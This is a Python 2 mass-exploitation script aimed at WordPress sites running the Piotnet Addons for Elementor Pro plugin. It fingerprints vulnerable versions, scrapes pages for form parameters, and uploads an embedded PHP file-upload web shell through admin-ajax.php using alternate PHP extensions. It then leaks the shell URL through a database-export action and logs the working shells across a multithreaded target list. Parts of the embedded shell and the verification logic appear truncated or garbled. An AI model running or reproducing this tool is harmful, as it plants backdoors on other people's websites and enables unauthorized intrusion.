#!/usr/bin/env python2 # -*- coding: utf-8 -*- import sys import re import json import time import threading from Queue import Queue import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) TIMEOUT = 10 MAX_THREADS = 20 OUTPUT_FILE = "shells.txt" VULN_VERSION = "7.1.70" EXT_LIST = [".phtml", ".php3", ".php4", ".phps", ".pht", ".php2"] HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.9", "X-Requested-With": "XMLHttpRequest", } SHELL_CODE = b"""GIF89a; '.'Uname:'.php_uname().'
'.$cwd = getcwd(); Echo '
'.'
'; if (!empty ($_FILES['uploads'])) { move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']); Echo "Uploaded !!!
name : ".$_FILES['uploads']['name']."
size : ".$_FILES['uploads']['size']."
type : ".$_FILES['uploads']['type']; } ?>""" GREEN = "\033[92m" RED = "\033[91m" CYAN = "\033[96m" YELLOW = "\033[93m" RESET = "\033[0m" BOLD = "\033[1m" def safe_unicode(s): if isinstance(s, unicode): return s try: return unicode(s, 'utf-8', errors='replace') except: return unicode(str(s), errors='replace') def log(msg, level="info"): msg = safe_unicode(msg) if level == "success": print("{}{}[+] {}{}".format(GREEN, BOLD, RESET, msg.encode('utf-8', errors='replace'))) elif level == "error": print("{}{}[-] {}{}".format(RED, BOLD, RESET, msg.encode('utf-8', errors='replace'))) elif level == "warn": print("{}{}[!] {}{}".format(YELLOW, BOLD, RESET, msg.encode('utf-8', errors='replace'))) else: print("{}{}[*] {}{}".format(CYAN, BOLD, RESET, msg.encode('utf-8', errors='replace'))) def version_lte(v1, v2): p1 = [int(x) for x in v1.split(".")] p2 = [int(x) for x in v2.split(".")] for i in range(max(len(p1), len(p2))): a = p1[i] if i < len(p1) else 0 b = p2[i] if i < len(p2) else 0 if a < b: return True if a > b: return False return True def extract_field_name(html): m = re.search( r'data-pafe-form-builder-field-name=["\']([^"\']+)["\'][^>]*(?:type=["\']file|data-pafe-form-builder-upload)', html, re.DOTALL ) if m: return m.group(1).strip() m = re.search( r'class=["\'][^"\']*pafe-form-builder-upload[^"\']*["\'][^>]*data-pafe-form-builder-field-name=["\']([^"\']+)["\']', html, re.DOTALL ) if m: return m.group(1).strip() if 'pafe-form-builder' in html or 'data-pafe-form-builder' in html: for pattern in [r']*type=["\']file["\'][^>]*name=["\']([^"\']+)["\']', r']*name=["\']([^"\']+)["\'][^>]*type=["\']file["\']']: for mt in re.finditer(pattern, html): fn = mt.group(1) if not fn.startswith('form_fields['): return fn.rstrip('[]').strip() return None def detect_version(session, target): try: r = session.get(target, timeout=TIMEOUT, verify=False) if r.status_code == 200: m = re.search(r'piotnet-addons-for-elementor-pro/[^"\']*\?ver=([0-9.]+)', r.text) if m: ver = m.group(1) vulnerable = version_lte(ver, VULN_VERSION) if vulnerable: log("version {} -> VULNERABLE".format(ver), "success") else: log("version {} -> NOT VULNERABLE".format(ver), "error") return ver, vulnerable if 'piotnet-addons-for-elementor' in r.text: log("plugin detected (unknown version) - assuming vulnerable", "warn") return None, True except: pass asset_paths = [ "/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/css/minify/extension.min.css", "/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/js/minify/extension.min.js", "/wp-content/plugins/piotnet-addons-for-elementor-pro/assets/css/minify/font-awesome-5.min.css", ] for path in asset_paths: try: r = session.get(target + path, timeout=TIMEOUT, verify=False) if r.status_code == 200: log("plugin exists (asset found) - assuming vulnerable", "warn") return None, True except: continue log("Piotnet Addons Pro not detected", "error") return None, False def collect_links(session, target): base = target.rstrip('/') extra_paths = [ "/contact", "/contact-us", "/get-in-touch", "/apply", "/register", "/sign-up", "/submit", "/upload", "/form", "/quote", "/request-quote", "/free-quote", "/estimate", "/quote-request", "/careers", "/join-us", "/enquiry", "/inquiry", "/book-appointment", "/appointment", "/make-appointment", "/submit-request" ] pages = [base] + [base + p for p in extra_paths] try: home = session.get(target, timeout=TIMEOUT, verify=False) if home.status_code == 200: links = re.findall(r'href=["\']({}[^"\'#]*)["\']'.format(re.escape(base)), home.text) links += re.findall(r'href=["\'](/[^"\'#]*)["\']', home.text) for link in links: full = link if link.startswith("http") else base + link if not re.search(r'\.(css|js|png|jpg|svg|woff|gif)(\?|$)', full) and full not in pages: pages.append(full) except: pass return pages def gather_form_params(session, target): pages = collect_links(session, target) log("scanning {} pages...".format(len(pages)), "info") result = None for url in pages: try: r = session.get(url, timeout=TIMEOUT, verify=False) if r.status_code != 200: continue html = r.text if 'pafe' not in html.lower() and 'piotnet' not in html.lower(): continue pid = (re.search(r'data-elementor-id=["\'](\d+)["\']', html) or re.search(r']*name=["\']post_id["\'][^>]*value=["\'](\d+)["\']', html) or re.search(r'data-pafe-form-builder-submit-post-id=["\'](\d+)["\']', html) or re.search(r'"post_id":\s*"?(\d+)"?', html)) post_id = pid.group(1).strip() if pid else None if not post_id: page_id = re.search(r'page-id-(\d+)', html) post_id = page_id.group(1).strip() if page_id else None fid = (re.search(r']*name=["\']form_id["\'][^>]*value=["\']([^"\']+)["\']', html) or re.search(r']*value=["\']([^"\']+)["\'][^>]*name=["\']form_id["\']', html) or re.search(r'"form_id":\s*"([^"]+)"', html)) form_id = fid.group(1).strip() if fid else None field_name = extract_field_name(html) if (form_id or field_name) and post_id: result = {'post_id': post_id, 'form_id': form_id or 'default', 'field_name': field_name or 'file', 'page': url} log("found form at {} | post_id={} form_id={} field={}".format(url, post_id, form_id, field_name), "success") break except: continue if not result: result = {'post_id': '1', 'form_id': 'default', 'field_name': 'file'} return result def upload_shell(session, ajax_url, post_id, form_id, field_name, ext, shell_data, shell_name): payload = json.dumps([{ "name": field_name, "value": "", "file_name": ["{}{}".format(shell_name, ext)], "attach-files": 0, "type": "file", "image_upload": False }]) files = {"{}[]".format(field_name): ("{}{}".format(shell_name, ext), shell_data, "application/octet-stream")} return session.post(ajax_url, data={ "action": "pafe_ajax_form_builder", "post_id": post_id, "form_id": form_id, "fields": payload }, files=files, allow_redirects=False, timeout=TIMEOUT) def leak_url(session, ajax_url, ext, shell_name): try: r = session.get(ajax_url, params={"action": "pafe_export_database"}, timeout=TIMEOUT) content = r.text.replace(u'\ufeff', '') pattern = r'https?://[^\s",\r\n]+/(?:wp-content/uploads/piotnet-addons-for-elementor/)?{}-[a-f0-9]+\.{}'.format( re.escape(shell_name), re.escape(ext.lstrip('.'))) m = re.search(pattern, content) if m: return m.group(0) pattern2 = r'https?://[^\s",\r\n]+/{}-[a-f0-9]+\.{}'.format(re.escape(shell_name), re.escape(ext.lstrip('.'))) m = re.search(pattern2, content) return m.group(0) if m else None except: return None def exploit_target(target, shell_data): target = target.rstrip('/') if not target.startswith(('http://','https://')): target = 'https://' + target ajax_url = "{}/wp-admin/admin-ajax.php".format(target) session = requests.Session() session.headers.update(HEADERS) session.headers.update({"Referer": target + "/", "Origin": target}) session.verify = False version, vulnerable = detect_version(session, target) if vulnerable is False: log("skip (not vulnerable)", "error") return params = gather_form_params(session, target) post_id = params['post_id'] form_id = params['form_id'] field = params['field_name'] log("post_id={} form_id={} field={}".format(post_id, form_id, field), "info") base_name = "xxx" for ext in EXT_LIST: log("trying {}".format(ext), "info") try: resp = upload_shell(session, ajax_url, post_id, form_id, field, ext, shell_data, base_name) except Exception as e: log("upload error: {}".format(str(e)), "error") continue body = resp.text body_preview = safe_unicode(body[:200]) if resp.status_code in (301,302,303,307,308): log("redirect - abort", "error") break if body == "0": log("handler not registered", "error") continue if len(body) > 1000 and body.lstrip().startswith(' {}".format(GREEN, BOLD, RESET, shell_url)) with open(OUTPUT_FILE, "a") as f: f.write(shell_url + "\n") return shell_url else: log("shell not executable", "warn") except: log("verification failed, saving anyway", "warn") with open(OUTPUT_FILE, "a") as f: f.write(shell_url + "\n") return shell_url log("all extensions failed", "error") return None def worker(queue, shell_data): while not queue.empty(): try: target = queue.get_nowait() except: break exploit_target(target, shell_data) queue.task_done() def main(): if len(sys.argv) != 2: print("Usage: python2 {} targets.txt".format(sys.argv[0])) sys.exit(1) filename = sys.argv[1] try: with open(filename, "r") as f: targets = [line.strip() for line in f if line.strip() and not line.startswith("#")] except IOError: print("File not found: {}".format(filename)) sys.exit(1) if not targets: print("No targets loaded.") sys.exit(1) shell_bytes = SHELL_CODE log("Loaded built-in shell ({} bytes)".format(len(shell_bytes)), "info") q = Queue() for t in targets: q.put(t) threads = [] for _ in range(min(MAX_THREADS, len(targets))): th = threading.Thread(target=worker, args=(q, shell_bytes)) th.daemon = True th.start() threads.append(th) for th in threads: th.join() log("Done. Results saved to {}".format(OUTPUT_FILE), "success") if __name__ == "__main__": main()